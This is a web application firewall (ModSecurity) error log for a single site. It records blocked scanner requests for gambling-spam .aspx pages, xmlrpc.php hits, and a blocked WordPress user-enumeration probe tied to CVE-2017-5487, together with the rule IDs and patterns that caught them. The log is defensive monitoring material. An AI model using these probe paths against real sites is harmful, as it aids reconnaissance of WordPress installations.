[Fri Feb 20 01:52:45.179341 2026] [:error] [pid 24048:tid 24061] [client 5.135.131.226:50784] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZdN7Wug6wHHqU0QyDY9JQAAAUs"]
[Fri Feb 20 01:52:47.186817 2026] [:error] [pid 15513:tid 15531] [client 5.135.131.226:52732] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZdN78GTRTE022JWg188tgAAARA"]
[Fri Feb 20 01:52:49.187864 2026] [:error] [pid 48901:tid 48932] [client 5.135.131.226:52744] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZdN8cixYz-lHbN0WBIXzAAAABY"]
[Fri Feb 20 01:52:51.205326 2026] [:error] [pid 24048:tid 24071] [client 5.135.131.226:52760] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZdN82ug6wHHqU0QyDY9KAAAAVU"]
[Fri Feb 20 01:52:53.213464 2026] [:error] [pid 49002:tid 49034] [client 5.135.131.226:52772] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZdN9VfcBtQ6hSJuEQmcEgAAANQ"]
[Fri Feb 20 01:52:55.222479 2026] [:error] [pid 5548:tid 5568] [client 5.135.131.226:52778] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZdN95MpsAkdKxbTbsPupgAAAZE"]
[Fri Feb 20 01:52:57.228222 2026] [:error] [pid 5580:tid 5584] [client 5.135.131.226:53850] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZdN-YV24kZpmf6nh3A-twAAAcE"]
[Fri Feb 20 01:52:59.244172 2026] [:error] [pid 24048:tid 24051] [client 5.135.131.226:53860] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZdN-2ug6wHHqU0QyDY9LgAAAUE"]
[Fri Feb 20 01:53:01.249938 2026] [:error] [pid 5548:tid 5557] [client 5.135.131.226:53868] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZdN_ZMpsAkdKxbTbsPurAAAAYY"]
[Fri Feb 20 02:40:06.898886 2026] [:error] [pid 48902:tid 48942] [client 79.137.65.139:36320] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZdZBmcJ-6aYRpRRFsVscwAAAEQ"]
[Fri Feb 20 02:40:09.750768 2026] [:error] [pid 48903:tid 48979] [client 79.137.65.139:52960] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZdZCY6aTgKrpAR115s15wAAAI4"]
[Fri Feb 20 02:40:12.480289 2026] [:error] [pid 48902:tid 48946] [client 79.137.65.139:52972] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZdZDGcJ-6aYRpRRFsVsfAAAAEg"]
[Fri Feb 20 02:40:15.100250 2026] [:error] [pid 5581:tid 5614] [client 79.137.65.139:52974] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZdZD3IfW0xlXmrVd3ogjgAAAgM"]
[Fri Feb 20 02:40:17.086606 2026] [:error] [pid 48902:tid 48958] [client 79.137.65.139:52980] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZdZEWcJ-6aYRpRRFsVsiQAAAFQ"]
[Fri Feb 20 02:40:19.645992 2026] [:error] [pid 5581:tid 5619] [client 79.137.65.139:45116] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZdZE3IfW0xlXmrVd3oglAAAAgg"]
[Fri Feb 20 02:40:21.838857 2026] [:error] [pid 5581:tid 5621] [client 79.137.65.139:45122] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZdZFXIfW0xlXmrVd3ogmQAAAgo"]
[Fri Feb 20 02:40:23.926396 2026] [:error] [pid 49002:tid 49015] [client 79.137.65.139:45124] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZdZF1fcBtQ6hSJuEQmkVwAAAME"]
[Fri Feb 20 02:40:26.129792 2026] [:error] [pid 49002:tid 49037] [client 79.137.65.139:45126] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZdZGlfcBtQ6hSJuEQmkXwAAANc"]
[Fri Feb 20 02:40:28.352904 2026] [:error] [pid 49002:tid 49036] [client 79.137.65.139:37658] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZdZHFfcBtQ6hSJuEQmkZQAAANY"]
[Fri Feb 20 02:40:30.519736 2026] [:error] [pid 15513:tid 15517] [client 79.137.65.139:37660] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZdZHsGTRTE022JWg19HMQAAAQI"]
[Fri Feb 20 02:40:32.985416 2026] [:error] [pid 5580:tid 5590] [client 79.137.65.139:37666] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZdZIIV24kZpmf6nh3BHmwAAAcc"]
[Fri Feb 20 02:40:35.062688 2026] [:error] [pid 24048:tid 24060] [client 79.137.65.139:37680] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZdZI2ug6wHHqU0QyDZGEAAAAUo"]
[Fri Feb 20 02:40:37.078114 2026] [:error] [pid 5580:tid 5584] [client 79.137.65.139:37686] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZdZJYV24kZpmf6nh3BHpQAAAcE"]
[Fri Feb 20 02:40:39.338158 2026] [:error] [pid 5581:tid 5616] [client 79.137.65.139:52354] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZdZJ3IfW0xlXmrVd3ogvQAAAgU"]
[Fri Feb 20 02:40:41.374544 2026] [:error] [pid 5581:tid 5619] [client 79.137.65.139:52364] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZdZKXIfW0xlXmrVd3ogxAAAAgg"]
[Fri Feb 20 02:40:43.344041 2026] [:error] [pid 5548:tid 5570] [client 79.137.65.139:52372] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZdZK5MpsAkdKxbTbsP2aQAAAZM"]
[Fri Feb 20 02:40:45.470597 2026] [:error] [pid 15513:tid 15539] [client 79.137.65.139:52376] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZdZLcGTRTE022JWg19HTQAAARg"]
[Fri Feb 20 02:40:47.361683 2026] [:error] [pid 24048:tid 24066] [client 79.137.65.139:52384] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZdZL2ug6wHHqU0QyDZGGwAAAVA"]
[Fri Feb 20 02:40:49.565674 2026] [:error] [pid 49002:tid 49023] [client 79.137.65.139:45468] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZdZMVfcBtQ6hSJuEQmkfwAAAMk"]
[Fri Feb 20 02:40:51.560091 2026] [:error] [pid 15513:tid 15517] [client 79.137.65.139:45478] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZdZM8GTRTE022JWg19HVAAAAQI"]
[Fri Feb 20 02:40:53.756963 2026] [:error] [pid 48903:tid 48966] [client 79.137.65.139:45482] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZdZNY6aTgKrpAR115s2CAAAAIE"]
[Fri Feb 20 02:40:56.009920 2026] [:error] [pid 24048:tid 24066] [client 79.137.65.139:45488] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZdZOGug6wHHqU0QyDZGKQAAAVA"]
[Fri Feb 20 02:40:57.989303 2026] [:error] [pid 48901:tid 48917] [client 79.137.65.139:39078] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZdZOcixYz-lHbN0WBIjCAAAAAc"]
[Fri Feb 20 02:41:00.029482 2026] [:error] [pid 5581:tid 5613] [client 79.137.65.139:39094] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZdZPHIfW0xlXmrVd3og-gAAAgI"]
[Fri Feb 20 02:41:02.070876 2026] [:error] [pid 24048:tid 24059] [client 79.137.65.139:39108] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZdZPmug6wHHqU0QyDZGMAAAAUk"]
[Fri Feb 20 02:41:37.715576 2026] [:error] [pid 24048:tid 24068] [client 79.137.65.139:39110] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZdZYWug6wHHqU0QyDZGVgAAAVI"]
[Fri Feb 20 02:41:39.701014 2026] [:error] [pid 48903:tid 48985] [client 79.137.65.139:51142] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZdZY46aTgKrpAR115s2OgAAAJQ"]
[Fri Feb 20 02:41:41.570645 2026] [:error] [pid 48901:tid 48918] [client 79.137.65.139:51158] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZdZZcixYz-lHbN0WBIjPAAAAAg"]
[Fri Feb 20 02:41:43.613755 2026] [:error] [pid 49002:tid 49026] [client 79.137.65.139:51164] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZdZZ1fcBtQ6hSJuEQmkqAAAAMw"]
[Fri Feb 20 02:41:45.482211 2026] [:error] [pid 48902:tid 48945] [client 79.137.65.139:51180] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZdZaWcJ-6aYRpRRFsVs0gAAAEc"]
[Fri Feb 20 02:41:47.489277 2026] [:error] [pid 49002:tid 49035] [client 79.137.65.139:51192] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZdZa1fcBtQ6hSJuEQmkrAAAANU"]
[Fri Feb 20 02:41:49.391049 2026] [:error] [pid 15513:tid 15530] [client 79.137.65.139:38394] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZdZbcGTRTE022JWg19HtgAAAQ8"]
[Fri Feb 20 02:41:51.401572 2026] [:error] [pid 5580:tid 5606] [client 79.137.65.139:38406] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZdZb4V24kZpmf6nh3BH_wAAAdY"]
[Fri Feb 20 02:41:53.424065 2026] [:error] [pid 5581:tid 5633] [client 79.137.65.139:38418] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZdZcXIfW0xlXmrVd3ohcAAAAhY"]
[Fri Feb 20 02:41:55.441613 2026] [:error] [pid 24048:tid 24057] [client 79.137.65.139:38426] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZdZc2ug6wHHqU0QyDZGbwAAAUc"]
[Fri Feb 20 02:41:57.455125 2026] [:error] [pid 5581:tid 5620] [client 79.137.65.139:38434] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZdZdXIfW0xlXmrVd3oheAAAAgk"]
[Fri Feb 20 02:41:59.329085 2026] [:error] [pid 15513:tid 15537] [client 79.137.65.139:49046] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZdZd8GTRTE022JWg19HwQAAARY"]
[Fri Feb 20 02:42:01.330978 2026] [:error] [pid 5548:tid 5559] [client 79.137.65.139:49060] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZdZeZMpsAkdKxbTbsP2twAAAYg"]
[Fri Feb 20 02:42:03.340813 2026] [:error] [pid 15513:tid 15517] [client 79.137.65.139:49066] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZdZe8GTRTE022JWg19HygAAAQI"]
[Fri Feb 20 02:42:05.342214 2026] [:error] [pid 48903:tid 48989] [client 79.137.65.139:49082] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZdZfY6aTgKrpAR115s2WgAAAJg"]
[Fri Feb 20 05:34:30.996927 2026] [:error] [pid 64404:tid 64448] [client 201.218.125.149:2072] [client 201.218.125.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.218.125.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeB5sg5Wkqq1wjajcB-RgAAAEg"]
[Fri Feb 20 05:35:13.522227 2026] [:error] [pid 64405:tid 64468] [client 49.204.108.149:13196] [client 49.204.108.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.108.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeCEdSgDnQB5OAbOuS2NgAAAIE"]
[Fri Feb 20 05:45:17.804280 2026] [:error] [pid 417:tid 437] [client 201.218.125.149:2074] [client 201.218.125.149] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZeEbWZ8vv9H56paZ2DkJgAAARI"]
[Fri Feb 20 05:46:31.182145 2026] [:error] [pid 417:tid 431] [client 201.218.125.149:2075] [client 201.218.125.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.218.125.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeEt2Z8vv9H56paZ2DkzwAAAQw"]
[Fri Feb 20 05:47:36.289299 2026] [:error] [pid 417:tid 432] [client 201.218.125.149:2076] [client 201.218.125.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.218.125.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZeE-GZ8vv9H56paZ2DlYAAAAQ0"]
